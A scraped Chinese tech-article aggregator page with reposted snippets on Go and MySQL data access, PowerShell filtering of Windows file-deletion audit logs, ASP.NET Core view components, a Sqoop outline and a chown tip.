panic(err.Error()) } defer db.Close() _, err = db.Exec("INSERT INTO users (username, password) VALUES (?, ?)", "john", "$2a$10$B8AIFbLlWz2fPnZrjL9wmuPfYmV5XKpQyvJ7UeV9nGZIvnpOKwldO.") if err != nil { panic(err.Error()) } 六、查询数据 除了插入数据,我们还需要能够从数据库中查询数据。同样,这也很简单。下面是一个查询的例子: go db, err := initDB() if err != nil { panic(err.Error()) } defer db.Close() rows, err := db.Query("SELECT FROM users WHERE username = ?", "john") if err != nil { panic(err.Error()) } defer rows.Close() for rows.Next() { var username string var password string err = rows.Scan(&username, &password) if err != nil { panic(err.Error()) } fmt.Println(username, password) } 七、总结 通过以上内容,我们可以看出,使用Golang与MySQL进行数据持久化是非常容易的。只需要引入必要的库,就可以开始编写相关的代码了。而且,你知道吗,正因为Golang的独特优势,我们能够编写出超级高效、超稳可靠的代码!所以,如果你正在寻觅一种崭新的法子来搞定数据的长期存储问题,那么我真心推荐你试一试Golang,它绝对会让你眼前一亮!
2023-03-23 17:32:03
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冬日暖阳-t
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...blog.csdn.net/weixin_42317626/article/details/114454994。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 首先,看Web开发的特点与需求: 优先: 1.实现页面可视化 2.可方便地实时修改代码 3.可方便地部署 4.可方便地与不懂程序的美工合作 后置: 1.页面正确性 2.程序正确性 3.数据安全性 4.开发人员(包括美工)的知识牢靠性与全面性 用大白话来讲,那就是,Web开发,先不管对不对、安不安全,而是要先能看到东西(页面)。 同时,Web对各部件的通信、调试的便捷性等,都比较注重 所以,因为Web开发具有以上特点,所以强类型语言不适合web开发,在早起,弱类型语言,比如vb.net / php等,则在web开发上占据了半壁江山。 后来,net与java等强类型语言,积极使用各种高级框架来避免强类型在web开发上的弱点,但还是比较麻烦。 现在.net出了支持各种动态类型的.net 4.0(var \ dynamic等),与php like的运行时编译的razor,已经做到了转换为弱类型,以及实时修改。但java目前还没有这种特性(通过第三方框架可以实现)。 强类型讲究的是正确性、健壮性与安全性,这也是科班教育一直强调与重视的主流方向,但web开发的特点,完全与之相反。所以,能做出成功web的产品,往往不是学院派,而是野路子派,他们的思维更适合web开发。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_42317626/article/details/114454994。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-25 14:09:17
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2023-09-10 18:10:29
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...blog.csdn.net/weixin_34112900/article/details/92532120。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 Windows日志筛选 因工作需求开启文件系统审核,因Windows日志管理器并不方便筛选查阅,所以使用powershell方法进行筛选。 一、需求分析 存在问题 日志量巨大(每天约1G) 日志管理器查询日志不便 主要目标 启用文件系统审核 快捷查询用户的删除操作 解决方案 采用轮替方式归档日志(500MB) 日志存放60天(可用脚本删除超过期限日志档案) 使用Get-WinEvent中的FilterXPath过日志进行筛选,格式打印 删除操作码为0x10000,可对其进行筛选 二、文件审核设置 2.1 开启文件系统审核功能 secpol.msc Advanced Audit Policy Configuration Object Access Audit File System [x] Configure the following audit events: [x] Success [x] Failure 2.2 建立共享文件夹 Folder Properties Sharing Choose people to share with Everyone 2.3 设置文件夹审核的用户组 Folder Properties Security Advanced Auditing Add user 2.4 设置日志路径及大小 Event Viewer Windows Logs Security Log Properties Log Path: E:\FileLog\Security.evtx Maximum log size(KB): 512000 [x] Archive the log when full,do not overwrite events 三、方法 筛选事件ID为4460日志 PS C:\Windows\system32> Get-WinEvent -LogName Security -FilterXPath "[System[EventID=4660]]"ProviderName: Microsoft-Windows-Security-AuditingTimeCreated Id LevelDisplayName Message----------- -- ---------------- -------5/22/2018 10:01:37 AM 4660 Information An object was deleted....5/22/2018 9:03:11 AM 4660 Information An object was deleted.... 筛选文件删除日志 PS C:\Windows\system32> Get-WinEvent -LogName "Security" -FilterXPath "[EventData[Data[@Name='AccessMask']='0x10000']]"ProviderName: Microsoft-Windows-Security-AuditingTimeCreated Id LevelDisplayName Message----------- -- ---------------- -------5/22/2018 10:01:37 AM 4663 Information An attempt was made to access an object....5/22/2018 9:03:11 AM 4663 Information An attempt was made to access an object.... 筛选指定用户文件删除日志 PS C:\Windows\system32> Get-WinEvent -LogName "Security" -FilterXPath "[EventData[Data[@Name='AccessMask']='0x10000']] and [EventData[Data[@Name='SubjectUserName']='lxy']]"ProviderName: Microsoft-Windows-Security-AuditingTimeCreated Id LevelDisplayName Message----------- -- ---------------- -------5/22/2018 9:03:11 AM 4663 Information An attempt was made to access an object.... 以变量方式筛选指定用户文件删除日志 PS C:\Windows\system32> $AccessMask='0x10000'PS C:\Windows\system32> $UserName='lxy'PS C:\Windows\system32> Get-WinEvent -LogName "Security" -FilterXPath "[EventData[Data[@Name='AccessMask']='$AccessMask']] and [EventData[Data[@Name='SubjectUserName']='$UserName']]"ProviderName: Microsoft-Windows-Security-AuditingTimeCreated Id LevelDisplayName Message----------- -- ---------------- -------5/22/2018 9:03:11 AM 4663 Information An attempt was made to access an object.... 从保存的文件筛选文件删除日志 PS C:\Users\F2844290> Get-WinEvent -Path 'C:\Users\F2844290\Desktop\SaveSec.evtx' -FilterXPath "[EventData[Data[@Name='AccessMask']='0x10000']]"PS C:\Windows\system32> $AccessMask='0x10000' 筛选10分钟内发生的安全性日志 XML中时间计算单位为ms,10minute=60 10 1000=600000 PS C:\Windows\system32> Get-WinEvent -LogName Security -FilterXPath "[System[TimeCreated[timediff(@SystemTime) < 600000]]]"ProviderName: Microsoft-Windows-Security-AuditingTimeCreated Id LevelDisplayName Message----------- -- ---------------- -------5/22/2018 4:11:30 PM 4663 Information An attempt was made to access an object....5/22/2018 4:11:30 PM 4663 Information An attempt was made to access an object....5/22/2018 4:11:30 PM 4663 Information An attempt was made to access an object....5/22/2018 4:11:30 PM 4663 Information An attempt was made to access an object.... 其它筛选方法 若有语法不明之处,可参考日志管理器中筛选当前日志的XML方法。 删除超过60天的存档日志并记录 Get-ChildItem E:\FileLog\Archive-Security- | Where-Object {if(( (get-date) - $_.CreationTime).TotalDays -gt 60 ){Remove-Item $_.FullName -ForceWrite-Output "$(Get-Date -UFormat "%Y/%m%d")t$_.Name" >>D:\RoMove-Archive-Logs.txt} } 四、其它文件 文件删除日志结构 Log Name: SecuritySource: Microsoft-Windows-Security-AuditingDate: 5/22/2018 9:03:11 AMEvent ID: 4663Task Category: File SystemLevel: InformationKeywords: Audit SuccessUser: N/AComputer: IDX-ST-05Description:An attempt was made to access an object.Subject:Security ID: IDX-ST-05\lxyAccount Name: lxyAccount Domain: IDX-ST-05Logon ID: 0x2ed3b8Object:Object Server: SecurityObject Type: FileObject Name: C:\Data\net.txtHandle ID: 0x444Process Information:Process ID: 0x4Process Name: Access Request Information:Accesses: DELETEAccess Mask: 0x10000Event Xml:<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" /><EventID>4663</EventID><Version>0</Version><Level>0</Level><Task>12800</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime="2018-05-22T01:03:11.876720000Z" /><EventRecordID>1514</EventRecordID><Correlation /><Execution ProcessID="4" ThreadID="72" /><Channel>Security</Channel><Computer>IDX-ST-05</Computer><Security /></System><EventData><Data Name="SubjectUserSid">S-1-5-21-1815651738-4066643265-3072818021-1004</Data><Data Name="SubjectUserName">lxy</Data><Data Name="SubjectDomainName">IDX-ST-05</Data><Data Name="SubjectLogonId">0x2ed3b8</Data><Data Name="ObjectServer">Security</Data><Data Name="ObjectType">File</Data><Data Name="ObjectName">C:\Data\net.txt</Data><Data Name="HandleId">0x444</Data><Data Name="AccessList">%%1537</Data><Data Name="AccessMask">0x10000</Data><Data Name="ProcessId">0x4</Data><Data Name="ProcessName"></Data></EventData></Event> 文件操作码表 File ReadAccesses: ReadData (or ListDirectory)AccessMask: 0x1File WriteAccesses: WriteData (or AddFile)AccessMask: 0x2File DeleteAccesses: DELETEAccessMask: 0x10000File RenameAccesses: DELETEAccessMask: 0x10000File CopyAccesses: ReadData (or ListDirectory)AccessMask: 0x1File Permissions ChangeAccesses: WRITE_DACAccessMask: 0x40000File Ownership ChangeAccesses: WRITE_OWNERAccessMask: 0x80000 转载于:https://blog.51cto.com/linxy/2119150 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_34112900/article/details/92532120。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-12 11:51:46
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在进一步了解ASP.NET中母版页嵌套结构及控件访问方法后,我们发现随着Web开发技术的演进,现代框架如ASP.NET Core提供了更为灵活和高效的页面布局与组件化管理机制。例如,在ASP.NET Core MVC中, Razor视图组件(View Components)被广泛用于实现可重用的UI逻辑块,它在某种程度上可以视为母版页功能的增强版,尤其是在处理复杂嵌套场景时。 近期一篇名为“Exploring View Components in ASP.NET Core: A Modern Alternative to Nested Master Pages”的文章深入探讨了这一话题。作者通过实例分析了如何利用Razor视图组件替代传统的多层嵌套母版页,以更简洁、模块化的代码来组织和复用页面内容。该文章还强调了使用视图组件所带来的性能优势以及对现代化前端开发实践的良好支持,如服务器端渲染与前端框架(如React或Angular)的集成。 此外,针对ASP.NET传统项目中FindControl方法的局限性,有开发者提出采用强类型视图模型结合Tag Helpers的方式,使得在处理嵌套布局时能够直接且安全地访问任何层级的控件,从而避免了动态查找可能导致的运行时错误和性能损耗。这种方案在社区内得到了积极反响,并在许多实际项目中得以应用。 综上所述,尽管原始文章讨论了在旧版ASP.NET中访问嵌套母版页控件的方法,但随着技术发展,我们可以转向研究ASP.NET Core中的新型解决方案,这些方案不仅解决了原有问题,还引入了更多优化和便捷特性,有助于提升开发效率和用户体验。对于关注此领域的开发者来说,紧跟最新技术趋势并适时进行技术栈升级,无疑具有极高的实践价值。
2023-11-19 12:06:40
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Sqoop
...我可以给您搭个大概的框架,填充些内容,好让您的需求得到满足。每章节我都会配上实例代码和讨论环节,让您能更好地理解和运用。以下是按照您要求编写的关于 Sqoop 技术文章的概述: Sqoop:大数据生态中的数据搬运工 1. 引言 Sqoop(SQL-to-Hadoop)作为大数据生态系统中的重要工具,承担着关系型数据库与Hadoop之间高效、便捷的数据迁移重任。它就像一个超级能干的“数据搬运工”,不辞辛苦地把企业那些海量的、整齐排列的数据从RDBMS这个仓库,搬到Hadoop的大数据分析基地去深度挖掘和处理;或者有时候也会反向操作,把数据从Hadoop搬回到RDBMS中。 shell 一个简单的Sqoop导入示例 sqoop import \ --connect jdbc:mysql://localhost:3306/mydatabase \ --username myuser \ --password mypassword \ --table mytable \ --target-dir /user/hadoop/mytable_imported 这个命令展示了如何从MySQL数据库导入mytable表到HDFS的/user/hadoop/mytable_imported目录下。 2. Sqoop工作原理及功能特性 (此处详细描述Sqoop的工作原理,如并行导入导出、自动生成Java类、分区导入等特性) 2.1 并行导入示例 Sqoop利用MapReduce模型实现并行数据导入,大幅提高数据迁移效率。 shell sqoop import --num-mappers 4 ... 此命令设置4个map任务并行执行数据导入操作。 3. Sqoop的基本使用 (这里详细说明Sqoop的各种命令,包括import、export、create-hive-table等,并给出实例) 3.1 Sqoop Import 实例详解 shell 示例:将Oracle表同步至Hive表 sqoop import \ --connect jdbc:oracle:thin:@//hostname:port/service_name \ --username username \ --password password \ --table source_table \ --hive-import \ --hive-table target_table 这段代码演示了如何将Oracle数据库中的source_table直接导入到Hive的target_table。 4. Sqoop高级应用与实践问题探讨 (这部分深入探讨Sqoop的一些高级用法,如增量导入、容错机制、自定义连接器等,并通过具体案例阐述) 4.1 增量导入策略 shell 使用lastmodified或incremental方式实现增量导入 sqoop import \ --connect ... \ --table source_table \ --check-column id \ --incremental lastmodified \ --last-value 这段代码展示了如何根据最后一次导入的id值进行增量导入。 5. Sqoop在实际业务场景中的应用与挑战 (在这部分,我们可以探讨Sqoop在真实业务环境下的应用场景,以及可能遇到的问题及其解决方案) 以上仅为大纲及部分内容展示,实际上每部分都需要进一步拓展、深化和情感化的表述,使读者能更好地理解Sqoop的工作机制,掌握其使用方法,并能在实际工作中灵活运用。为了达到1000字以上的要求,每个章节都需要充实详尽的解释、具体的思考过程、理解难点解析以及更多的代码实例和应用场景介绍。
2023-02-17 18:50:30
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雪域高原
Golang
...问,咱们通常就是扯到SQL查询啊,还有怎么管事务,再有就是怎么用连接池这些事儿。 1.1 连接池的重要性 连接池是数据库访问中非常关键的一环。它允许我们在不频繁建立新连接的情况下,重用已有的数据库连接,从而提高效率并减少资源消耗。想象一下,如果你每次执行SQL查询都要打开一个新的数据库连接,那效率该有多低啊! 1.2 SQL查询与ORM 在进行数据库操作时,我们有两种主要的方法:直接编写SQL语句或者使用ORM(对象关系映射)。直接编写SQL语句虽然能够提供更多的控制权,但可能会增加出错的风险。而ORM则通过将数据库表映射到程序中的对象,使得数据操作更加直观。不过,选择哪种方式,还要根据具体的应用场景和个人偏好来决定。 2. 实践篇 构建高性能数据库访问 现在,让我们进入实践部分。咱们这就来点儿实战教学,用几个小例子带你看看怎么用Go语言搞定又快又稳的数据库操作。 2.1 使用标准库 database/sql Go语言的标准库提供了database/sql包,它是一个用于SQL数据库的通用接口。下面是一个简单的例子: go package main import ( "database/sql" _ "github.com/go-sql-driver/mysql" // 注意这里需要导入MySQL驱动 "fmt" ) func main() { db, err := sql.Open("mysql", "user:password@tcp(127.0.0.1:3306)/dbname") if err != nil { panic(err.Error()) } defer db.Close() // 执行一个简单的查询 rows, err := db.Query("SELECT id, name FROM users") if err != nil { panic(err.Error()) } defer rows.Close() for rows.Next() { var id int var name string err = rows.Scan(&id, &name) if err != nil { panic(err.Error()) } fmt.Println(id, name) } } 2.2 使用ORM工具:Gorm 对于更复杂的项目,使用ORM工具如Gorm可以极大地简化数据库操作。Gorm就像是给数据库操作加了个“翻译”,让我们可以用更贴近日常说话的方式来摆弄数据库里的数据,感觉就像是在玩弄对象一样轻松。下面是如何使用Gorm的一个简单示例: go package main import ( "gorm.io/driver/mysql" "gorm.io/gorm" "log" ) type User struct { ID uint Name string } func main() { dsn := "user:password@tcp(127.0.0.1:3306)/dbname?charset=utf8mb4&parseTime=True&loc=Local" db, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) if err != nil { log.Fatal(err) } // 创建用户 newUser := User{Name: "John Doe"} db.Create(&newUser) // 查询用户 var user User db.First(&user, newUser.ID) log.Printf("Found user: %s\n", user.Name) } 3. 性能优化技巧 在实际开发中,除了基础的数据库操作外,我们还需要考虑如何进一步优化性能。这里有几个建议: - 索引:确保你的数据库表上有适当的索引,特别是对于那些频繁查询的字段。 - 缓存:利用缓存机制(如Redis)来存储常用的数据结果,可以显著减少数据库的负载。 - 批量操作:尽量减少与数据库的交互次数,比如批量插入或更新数据。 - 异步处理:对于耗时的操作,可以考虑使用异步处理方式,避免阻塞主线程。 4. 结语 通过以上的内容,我们大致了解了如何使用Go语言进行高性能的数据库访问和操作。当然,这只是冰山一角,真正的高手之路还很长。希望能给你带来点儿灵感,让你在Go语言的路上越走越远,越走越顺!记住,编程是一场马拉松,不是短跑,保持耐心,不断学习和尝试新的东西吧! --- 希望这篇文章能帮助你更好地理解和应用Golang在数据库访问方面的最佳实践。如果你有任何问题或想法,欢迎随时交流讨论!
2024-10-21 15:42:48
78
百转千回
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实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
chown user:group file_or_directory
- 改变文件或目录的所有者和组。
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